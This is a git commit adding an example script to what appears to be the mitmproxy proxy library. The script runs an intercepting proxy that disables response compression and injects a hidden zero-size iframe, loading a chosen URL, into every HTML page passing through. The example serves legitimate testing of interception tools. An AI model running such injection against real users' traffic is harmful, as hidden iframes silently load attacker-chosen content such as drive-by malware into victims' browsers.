New example - standalone proxy injecting iframes into responses

2024-11-22 15:37:45 +00:00 · 2013-01-13 20:54:16 +01:00 · 2013-01-13 20:54:16 +01:00 · a658dba410
commit a658dba410
parent 060e3198bc
1 changed files with 50 additions and 0 deletions
--- a/examples/iframe_injector
+++ b/examples/iframe_injector
@ -0,0 +1,50 @@
+#!/usr/bin/env python
+"""
+    Zap encoding in requests and inject iframe after body tag in html responses.
+    Usage:
+        iframe_injector http://someurl/somefile.html
+"""
+from libmproxy import controller, proxy
+import os
+import sys
+
+
+class InjectingMaster(controller.Master):
+    def __init__(self, server, iframe_url):
+        controller.Master.__init__(self, server)
+        self._iframe_url = iframe_url
+
+    def run(self):
+        try:
+            return controller.Master.run(self)
+        except KeyboardInterrupt:
+            self.shutdown()
+
+    def handle_request(self, msg):
+        if 'Accept-Encoding' in msg.headers:
+            msg.headers["Accept-Encoding"] = 'none'
+        msg._ack()
+
+    def handle_response(self, msg):
+        if msg.content:
+            c = msg.replace('<body>', '<body><iframe src="%s" frameborder="0" height="0" width="0"></iframe>' % self._iframe_url)
+            if c > 0:
+                print 'Iframe injected!'
+        msg._ack()
+
+
+def main(argv):
+    if len(argv) != 2:
+        print "Usage: %s IFRAME_URL" % argv[0]
+        sys.exit(1)
+    iframe_url = argv[1]
+    config = proxy.ProxyConfig(
+        cacert = os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")
+    )
+    server = proxy.ProxyServer(config, 8080)
+    print 'Starting proxy...'
+    m = InjectingMaster(server, iframe_url)
+    m.run()
+
+if __name__ == '__main__':
+    main(sys.argv)